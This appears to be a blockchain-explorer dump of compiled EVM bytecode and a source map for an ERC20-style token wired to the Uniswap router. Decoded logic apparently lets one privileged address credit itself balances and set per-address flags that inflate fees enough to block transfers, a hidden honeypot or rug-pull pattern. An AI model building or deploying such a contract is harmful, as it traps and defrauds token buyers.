ffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e2c919061257b565b60405180910390a35b611e488285611b8090919063ffffffff16565b925050509392505050565b6000808284611e629190612660565b905083811015611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e906124db565b60405180910390fd5b8091505092915050565b600080831415611ec45760009050611f26565b60008284611ed29190612858565b9050828482611ee191906126b6565b14611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f18906124fb565b60405180910390fd5b809150505b92915050565b6000611f6e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f76565b905092915050565b60008083118290611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb49190612459565b60405180910390fd5b5060008385611fcc91906126b6565b9050809150509392505050565b600081359050611fe881612d0e565b92915050565b600081519050611ffd81612d0e565b92915050565b60008135905061201281612d25565b92915050565b60006020828403121561202e5761202d612ae5565b5b600061203c84828501611fd9565b91505092915050565b60006020828403121561205b5761205a612ae5565b5b600061206984828501611fee565b91505092915050565b6000806040838503121561208957612088612ae5565b5b600061209785828601611fd9565b92505060206120a885828601611fd9565b9150509250929050565b6000806000606084860312156120cb576120ca612ae5565b5b60006120d986828701611fd9565b93505060206120ea86828701611fd9565b92505060406120fb86828701612003565b9150509250925092565b6000806040838503121561211c5761211b612ae5565b5b600061212a85828601611fd9565b925050602061213b85828601612003565b9150509250929050565b6000806040838503121561215c5761215b612ae5565b5b600061216a85828601612003565b925050602061217b85828601612003565b9150509250929050565b600061219183836121ac565b60208301905092915050565b6121a6816128f8565b82525050565b6121b5816128e6565b82525050565b6121c4816128e6565b82525050565b60006121d58261261b565b6121df818561263e565b93506121ea8361260b565b8060005b8381101561221b5781516122028882612185565b975061220d83612631565b9250506001810190506121ee565b5085935050505092915050565b6122318161290a565b82525050565b6122408161294d565b82525050565b61224f8161295f565b82525050565b600061226082612626565b61226a818561264f565b935061227a818560208601612995565b61228381612aea565b840191505092915050565b600061229b60238361264f565b91506122a682612b08565b604082019050919050565b60006122be60038361264f565b91506122c982612b57565b602082019050919050565b60006122e160228361264f565b91506122ec82612b80565b604082019050919050565b6000612304601b8361264f565b915061230f82612bcf565b602082019050919050565b600061232760218361264f565b915061233282612bf8565b604082019050919050565b600061234a60208361264f565b915061235582612c47565b602082019050919050565b600061236d60258361264f565b915061237882612c70565b604082019050919050565b600061239060248361264f565b915061239b82612cbf565b604082019050919050565b6123af81612936565b82525050565b6123be81612940565b82525050565b60006020820190506123d960008301846121bb565b92915050565b60006020820190506123f4600083018461219d565b92915050565b600060408201905061240f60008301856121bb565b61241c60208301846121bb565b9392505050565b60006020820190506124386000830184612228565b92915050565b60006020820190506124536000830184612237565b92915050565b600060208201905081810360008301526124738184612255565b905092915050565b600060208201905081810360008301526124948161228e565b9050919050565b600060208201905081810360008301526124b4816122b1565b9050919050565b600060208201905081810360008301526124d4816122d4565b9050919050565b600060208201905081810360008301526124f4816122f7565b9050919050565b600060208201905081810360008301526125148161231a565b9050919050565b600060208201905081810360008301526125348161233d565b9050919050565b6000602082019050818103600083015261255481612360565b9050919050565b6000602082019050818103600083015261257481612383565b9050919050565b600060208201905061259060008301846123a6565b92915050565b600060a0820190506125ab60008301886123a6565b6125b86020830187612246565b81810360408301526125ca81866121ca565b90506125d960608301856121bb565b6125e660808301846123a6565b9695505050505050565b600060208201905061260560008301846123b5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061266b82612936565b915061267683612936565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ab576126aa6129fa565b5b828201905092915050565b60006126c182612936565b91506126cc83612936565b9250826126dc576126db612a29565b5b828204905092915050565b6000808291508390505b60018511156127315780860481111561270d5761270c6129fa565b5b600185161561271c5780820291505b808102905061272a85612afb565b94506126f1565b94509492505050565b600061274582612936565b915061275083612940565b925061277d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612785565b905092915050565b6000826127955760019050612851565b816127a35760009050612851565b81600181146127b957600281146127c3576127f2565b6001915050612851565b60ff8411156127d5576127d46129fa565b5b8360020a9150848211156127ec576127eb6129fa565b5b50612851565b5060208310610133831016604e8410600b84101617156128275782820a905083811115612822576128216129fa565b5b612851565b61283484848460016126e7565b9250905081840481111561284b5761284a6129fa565b5b81810290505b9392505050565b600061286382612936565b915061286e83612936565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128a7576128a66129fa565b5b828202905092915050565b60006128bd82612936565b91506128c883612936565b9250828210156128db576128da6129fa565b5b828203905092915050565b60006128f182612916565b9050919050565b600061290382612916565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061295882612971565b9050919050565b600061296a82612936565b9050919050565b600061297c82612983565b9050919050565b600061298e82612916565b9050919050565b60005b838110156129b3578082015181840152602081019050612998565b838111156129c2576000848401525b50505050565b600060028204905060018216806129e057607f821691505b602082108114156129f4576129f3612a58565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f7774660000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d17816128e6565b8114612d2257600080fd5b50565b612d2e81612936565b8114612d3957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e581b45441eec3ebb1d9f72924e2abd396dbcadbebc79a1f409e374080e160c964736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80634a74bb02116100ab5780638da5cb5b1161006f5780638da5cb5b1461045d57806395d89b4114610488578063a9059cbb146104b3578063c816841b146104f0578063dd62ed3e1461051b578063f2fde38b1461055857610140565b80634a74bb02146103505780635979a32a1461037b57806370a08231146103a65780638318b8b3146103e3578063896ad7e31461042057610140565b806323b872dd116100fd57806323b872dd1461024057806327c8f8351461027d57806329822734146102a8578063313ce567146102bf5780633345611e146102ea578063374bb3411461032757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631eae62131461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610581565b6040516101679190612459565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612105565b610613565b6040516101a49190612423565b60405180910390f35b3480156101b957600080fd5b506101c2610631565b6040516101cf919061243e565b60405180910390f35b3480156101e457600080fd5b506101ed610657565b6040516101fa919061257b565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612145565b610661565b6040516102379190612423565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906120b2565b6106fe565b6040516102749190612423565b60405180910390f35b34801561028957600080fd5b506102926107d8565b60405161029f91906123c4565b60405180910390f35b3480156102b457600080fd5b506102bd6107fc565b005b3480156102cb57600080fd5b506102d4610bd4565b6040516102e191906125f0565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c9190612018565b610beb565b60405161031e9190612423565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612105565b610c0b565b005b34801561035c57600080fd5b50610365610d49565b6040516103729190612423565b60405180910390f35b34801561038757600080fd5b50610390610d5c565b60405161039d91906123df565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612018565b610d82565b6040516103da919061257b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612018565b610dcb565b604051610417919061257b565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612018565b610de3565b6040516104549190612423565b60405180910390f35b34801561046957600080fd5b50610472610e03565b60405161047f91906123c4565b60405180910390f35b34801561049457600080fd5b5061049d610e2c565b6040516104aa9190612459565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612105565b610ebe565b6040516104e79190612423565b60405180910390f35b3480156104fc57600080fd5b50610505610edd565b60405161051291906123c4565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612072565b610f03565b60405161054f919061257b565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190612018565b610f8a565b005b606060018054610590906129c8565b80601f01602080910402602001604051908101604052809291908181526020018280546105bc906129c8565b80156106095780601f106105de57610100808354040283529160200191610609565b820191906000526020600020905b8154815290600101906020018083116105ec57829003601f168201915b5050505050905090565b60006106276106206110dc565b84846110e4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea9061249b565b60405180910390fd5b828214905092915050565b600061070b8484846112af565b506107cd846107186110dc565b6107c885604051806060016040528060288152602001612d3d60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077e6110dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169c9092919063ffffffff16565b6110e4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6108046110dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610891576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108889061251b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f057600080fd5b505afa158015610904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109289190612045565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098a57600080fd5b505afa15801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c29190612045565b6040518363ffffffff1660e01b81526004016109df9291906123fa565b602060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a319190612045565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6103e8811115610c8e578060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c869190612660565b925050819055505b610c99816014610661565b15610cef57600281610cab919061273a565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cfa816002610661565b15610d45576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e3b906129c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610e67906129c8565b8015610eb45780601f10610e8957610100808354040283529160200191610eb4565b820191906000526020600020905b815481529060010190602001808311610e9757829003601f168201915b5050505050905090565b6000610ed2610ecb6110dc565b84846112af565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f926110dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061251b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114b9061255b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb906124bb565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112a2919061257b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113179061253b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113879061247b565b60405180910390fd5b600b60149054906101000a900460ff16156113b7576113b0848484611700565b9050611695565b60006113c230610d82565b9050600b60149054906101000a900460ff1615801561142b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611435575060015b1561144457611443816118d3565b5b61149683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061157c5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115905761158b868686611bca565b611592565b835b90506115e681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611686919061257b565b60405180910390a36001925050505b9392505050565b60008383111582906116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db9190612459565b60405180910390fd5b50600083856116f391906128b2565b9050809150509392505050565b600061178b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169c9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c0919061257b565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561190b5761190a612ab6565b5b6040519080825280602002602001820160405280156119395781602001602082028036833780820191505090505b509050308160008151811061195157611950612a87565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f357600080fd5b505afa158015611a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2b9190612045565b81600181518110611a3f57611a3e612a87565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aa630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110e4565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b2c959493929190612596565b600060405180830381600087803b158015611b4657600080fd5b505af1925050508015611b57575060015b611b6057611b61565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611bc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061169c565b905092915050565b600080600060809050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c5357611c4c6064611c3e600287611eb190919063ffffffff16565b611f2c90919063ffffffff16565b9150611cd0565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ccf57611ccc6064611cbe600287611eb190919063ffffffff16565b611f2c90919063ffffffff16565b91505b5b80600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611d3157611d2e641540f57b4885611eb190919063ffffffff16565b91505b6000821115611e3557611d8c82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e2c919061257b565b60405180910390a35b611e488285611b8090919063ffffffff16565b925050509392505050565b6000808284611e629190612660565b905083811015611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e906124db565b60405180910390fd5b8091505092915050565b600080831415611ec45760009050611f26565b60008284611ed29190612858565b9050828482611ee191906126b6565b14611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f18906124fb565b60405180910390fd5b809150505b92915050565b6000611f6e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f76565b905092915050565b60008083118290611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb49190612459565b60405180910390fd5b5060008385611fcc91906126b6565b9050809150509392505050565b600081359050611fe881612d0e565b92915050565b600081519050611ffd81612d0e565b92915050565b60008135905061201281612d25565b92915050565b60006020828403121561202e5761202d612ae5565b5b600061203c84828501611fd9565b91505092915050565b60006020828403121561205b5761205a612ae5565b5b600061206984828501611fee565b91505092915050565b6000806040838503121561208957612088612ae5565b5b600061209785828601611fd9565b92505060206120a885828601611fd9565b9150509250929050565b6000806000606084860312156120cb576120ca612ae5565b5b60006120d986828701611fd9565b93505060206120ea86828701611fd9565b92505060406120fb86828701612003565b9150509250925092565b6000806040838503121561211c5761211b612ae5565b5b600061212a85828601611fd9565b925050602061213b85828601612003565b9150509250929050565b6000806040838503121561215c5761215b612ae5565b5b600061216a85828601612003565b925050602061217b85828601612003565b9150509250929050565b600061219183836121ac565b60208301905092915050565b6121a6816128f8565b82525050565b6121b5816128e6565b82525050565b6121c4816128e6565b82525050565b60006121d58261261b565b6121df818561263e565b93506121ea8361260b565b8060005b8381101561221b5781516122028882612185565b975061220d83612631565b9250506001810190506121ee565b5085935050505092915050565b6122318161290a565b82525050565b6122408161294d565b82525050565b61224f8161295f565b82525050565b600061226082612626565b61226a818561264f565b935061227a818560208601612995565b61228381612aea565b840191505092915050565b600061229b60238361264f565b91506122a682612b08565b604082019050919050565b60006122be60038361264f565b91506122c982612b57565b602082019050919050565b60006122e160228361264f565b91506122ec82612b80565b604082019050919050565b6000612304601b8361264f565b915061230f82612bcf565b602082019050919050565b600061232760218361264f565b915061233282612bf8565b604082019050919050565b600061234a60208361264f565b915061235582612c47565b602082019050919050565b600061236d60258361264f565b915061237882612c70565b604082019050919050565b600061239060248361264f565b915061239b82612cbf565b604082019050919050565b6123af81612936565b82525050565b6123be81612940565b82525050565b60006020820190506123d960008301846121bb565b92915050565b60006020820190506123f4600083018461219d565b92915050565b600060408201905061240f60008301856121bb565b61241c60208301846121bb565b9392505050565b60006020820190506124386000830184612228565b92915050565b60006020820190506124536000830184612237565b92915050565b600060208201905081810360008301526124738184612255565b905092915050565b600060208201905081810360008301526124948161228e565b9050919050565b600060208201905081810360008301526124b4816122b1565b9050919050565b600060208201905081810360008301526124d4816122d4565b9050919050565b600060208201905081810360008301526124f4816122f7565b9050919050565b600060208201905081810360008301526125148161231a565b9050919050565b600060208201905081810360008301526125348161233d565b9050919050565b6000602082019050818103600083015261255481612360565b9050919050565b6000602082019050818103600083015261257481612383565b9050919050565b600060208201905061259060008301846123a6565b92915050565b600060a0820190506125ab60008301886123a6565b6125b86020830187612246565b81810360408301526125ca81866121ca565b90506125d960608301856121bb565b6125e660808301846123a6565b9695505050505050565b600060208201905061260560008301846123b5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061266b82612936565b915061267683612936565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ab576126aa6129fa565b5b828201905092915050565b60006126c182612936565b91506126cc83612936565b9250826126dc576126db612a29565b5b828204905092915050565b6000808291508390505b60018511156127315780860481111561270d5761270c6129fa565b5b600185161561271c5780820291505b808102905061272a85612afb565b94506126f1565b94509492505050565b600061274582612936565b915061275083612940565b925061277d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612785565b905092915050565b6000826127955760019050612851565b816127a35760009050612851565b81600181146127b957600281146127c3576127f2565b6001915050612851565b60ff8411156127d5576127d46129fa565b5b8360020a9150848211156127ec576127eb6129fa565b5b50612851565b5060208310610133831016604e8410600b84101617156128275782820a905083811115612822576128216129fa565b5b612851565b61283484848460016126e7565b9250905081840481111561284b5761284a6129fa565b5b81810290505b9392505050565b600061286382612936565b915061286e83612936565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128a7576128a66129fa565b5b828202905092915050565b60006128bd82612936565b91506128c883612936565b9250828210156128db576128da6129fa565b5b828203905092915050565b60006128f182612916565b9050919050565b600061290382612916565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061295882612971565b9050919050565b600061296a82612936565b9050919050565b600061297c82612983565b9050919050565b600061298e82612916565b9050919050565b60005b838110156129b3578082015181840152602081019050612998565b838111156129c2576000848401525b50505050565b600060028204905060018216806129e057607f821691505b602082108114156129f4576129f3612a58565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f7774660000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d17816128e6565b8114612d2257600080fd5b50565b612d2e81612936565b8114612d3957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e581b45441eec3ebb1d9f72924e2abd396dbcadbebc79a1f409e374080e160c964736f6c63430008070033

Deployed Bytecode Sourcemap

3814:6297:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5091:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6218:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4484:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5832:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8613:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6769:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4057:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5277:456;;;;;;;;;;;;;:::i;:::-;;5741:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4266:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8767:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4599:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4022:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5940:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4369:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4323:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2890:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5182:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7090:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4532:26;;;;;;;;